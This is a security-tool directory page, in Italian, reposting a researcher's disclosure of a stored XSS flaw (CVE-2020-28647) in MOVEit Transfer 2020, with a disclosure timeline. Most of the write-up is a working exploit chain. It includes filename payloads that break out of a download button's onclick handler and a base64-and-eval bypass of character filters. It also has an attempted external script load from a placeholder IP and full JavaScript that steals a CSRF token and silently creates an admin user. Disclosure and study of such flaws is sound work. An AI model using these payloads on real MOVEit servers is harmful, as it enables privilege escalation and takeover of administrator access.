Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647 — MOVEit Transfer 2020 applicazione web Cross-Site Scripting memorizzato (XSS) | Kitploit
Strumenti/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MOVEit Transfer 2020 applicazione web Cross-Site Scripting memorizzato (XSS)

Vedi Repository
5 anni faNon ancora revisionato

Progress MOVEit Transfer < 2020.1 XSS Memorizzato (CVE-2020-28647)

Durante un recente test di applicazione web, una delle applicazioni in esame era un'applicazione web MOVEit Transfer 2020. Durante la valutazione è stata identificata una vulnerabilità di Cross-Site Scripting (XSS) memorizzato. Questo post del blog illustrerà la scoperta e lo sfruttamento di tale vulnerabilità per ottenere accesso amministrativo all'applicazione web.

Durante il test della validazione degli input in diversi campi di input dell'applicazione, un particolare campo sembrava fornire output inaspettati quando venivano forniti determinati payload. Questo campo era il nome del file caricato. Dopo aver caricato file con determinati nomi, si è identificato che quando si tentava di scaricare il file, il pulsante di download non eseguiva alcuna azione. Questo comportamento è stato investigato e, come possiamo vedere nell'immagine seguente, viene attivato un errore JavaScript quando si clicca sul pulsante di download.

Una volta identificato questo errore, è stato analizzato il codice HTML dietro il pulsante di download. Dall'analisi iniziale è emerso che il nome del file viene incluso nella funzione JavaScript onclick del pulsante senza essere adeguatamente sanitizzato, come si può vedere nell'immagine seguente.

Con questa osservazione era chiaro che è possibile iniettare codice JavaScript che verrà eseguito quando un utente clicca sul pulsante Download. Il primo passo è stato creare un codice Proof of Concept che attiva un popup JavaScript tramite la funzione alert. Data la natura del codice e il punto in cui il nome del file viene iniettato, è stato creato il seguente payload. Questo payload terminerebbe la funzione chiamata e aggiungerebbe una nuova funzione, alert(), seguita da una funzione fittizia per completare il codice.

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

Con questo payload possiamo testarlo. Possiamo caricare un file e poi intercettare la richiesta di upload al server usando Burp Proxy, modificare il nome del file e inoltrare la richiesta al server.

Con il file caricato, possiamo ora aprire il file cliccando sul nome del file e poi cliccare sul pulsante Download. Qui possiamo vedere che l'XSS viene attivato e viene mostrato un popup di alert JavaScript.

Bello! Quindi possiamo eseguire codice JavaScript arbitrario. Cos'altro possiamo fare? Possiamo ottenere qualcosa di più da questo?

Dopo aver esaminato l'applicazione e le sue funzionalità, un potenziale vettore di attacco potrebbe essere un utente di basso livello che cerca di elevare i privilegi per ottenere accesso amministrativo all'applicazione web.

Il primo passo è stato verificare se è possibile eseguire richieste HTTP tramite JavaScript usando XMLHttpRequest. Durante la revisione delle impostazioni per i nomi di file e cartelle, è stato identificato che MOVEit non permette a nessun file o cartella di avere / o \ nel nome. Questo potrebbe quindi impedirci di effettuare richieste HTTP. Un'altra limitazione identificata è che il nome del file è limitato a 255 caratteri.

Sulla base di questa analisi, abbiamo un paio di restrizioni da bypassare. La prima era cercare un modo per bypassare la limitazione dei caratteri / e \ e cercare di includere un file JavaScript ospitato su un server remoto. Per bypassare questa restrizione possiamo codificare il codice JavaScript che vogliamo eseguire in formato base64 e poi decodificarlo in memoria ed eseguirlo tramite la funzione eval. Il seguente frammento di codice fa esattamente questo.

root@kitploit:~
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

Con questo codice il primo tentativo è stato di iniettare un tag <script> con la sorgente del file impostata su un file ospitato esternamente. Il frammento di codice qui sotto è stato codificato in base64 e poi copiato nel frammento sopra.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

Nel tentativo è emerso un altro problema, il CSP. L'applicazione web utilizzava un CSP che impediva il caricamento di file JavaScript esterni.

Quindi, non possiamo caricare file esterni e non possiamo includere codice JS che superi i 255 caratteri. Cosa possiamo fare ora? Possiamo provare ad abusare della funzionalità di MOVEit e usarlo per ospitare il nostro file JavaScript malevolo.

Prima dobbiamo creare il codice JavaScript che farà una richiesta GET alla pagina responsabile dell'aggiunta di un nuovo utente al sistema e da qui estrarre il token CSRF. Lo script dovrà poi fare una richiesta POST per creare un nuovo utente admin includendo il token CSRF estratto nella richiesta. Di seguito il frammento di codice che fa questo.

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

Il codice JavaScript sopra deve essere salvato in un file e poi caricato su MOVEit. Dopo aver caricato il file, apri i dettagli del file e clicca sul pulsante di download mentre intercetti le richieste web con Burp Proxy. Nei log di Burp Proxy dovrebbe esserci una voce per il link di download diretto del file. Questo URL dovrebbe essere simile a:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

Avendo il link di download diretto possiamo ora impostarlo per essere incluso nel payload. Il codice qui sotto creerà un tag script e imposterà l'URL sorgente sul link di download diretto e finalmente inserirà il tag script nel tag head della pagina e con onload eseguirà la funzione r().

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

Il prossimo passo è codificare in base64 il frammento di codice sopra:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

Il passo successivo è iniettare questo payload XSS finale. Per farlo, carica un file intercettando le richieste con Burp Proxy e modifica il nome del file caricato con il payload XSS qui sotto.

root@kitploit:~
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

Una volta caricato il file, clicca sul file caricato per aprire i dettagli e clicca sul pulsante Download per attivare l'XSS e la creazione dell'utente admin. Un utente di basso livello può creare questa configurazione e se il file caricato viene scaricato da un utente amministratore, allora l'utente di basso livello può indurre l'amministratore a creare inconsapevolmente un account admin.

Cronologia

  • 05/08/2020 - Problema Segnalato
  • 08/08/2020 - Problema Verificato e correzione da includere nella prossima release major
  • 16/11/2020 - Comunicato Progress MOVEit Rilasciato
  • 17/11/2020 - CVE-2020-28647 Rilasciato
Scarica lo strumento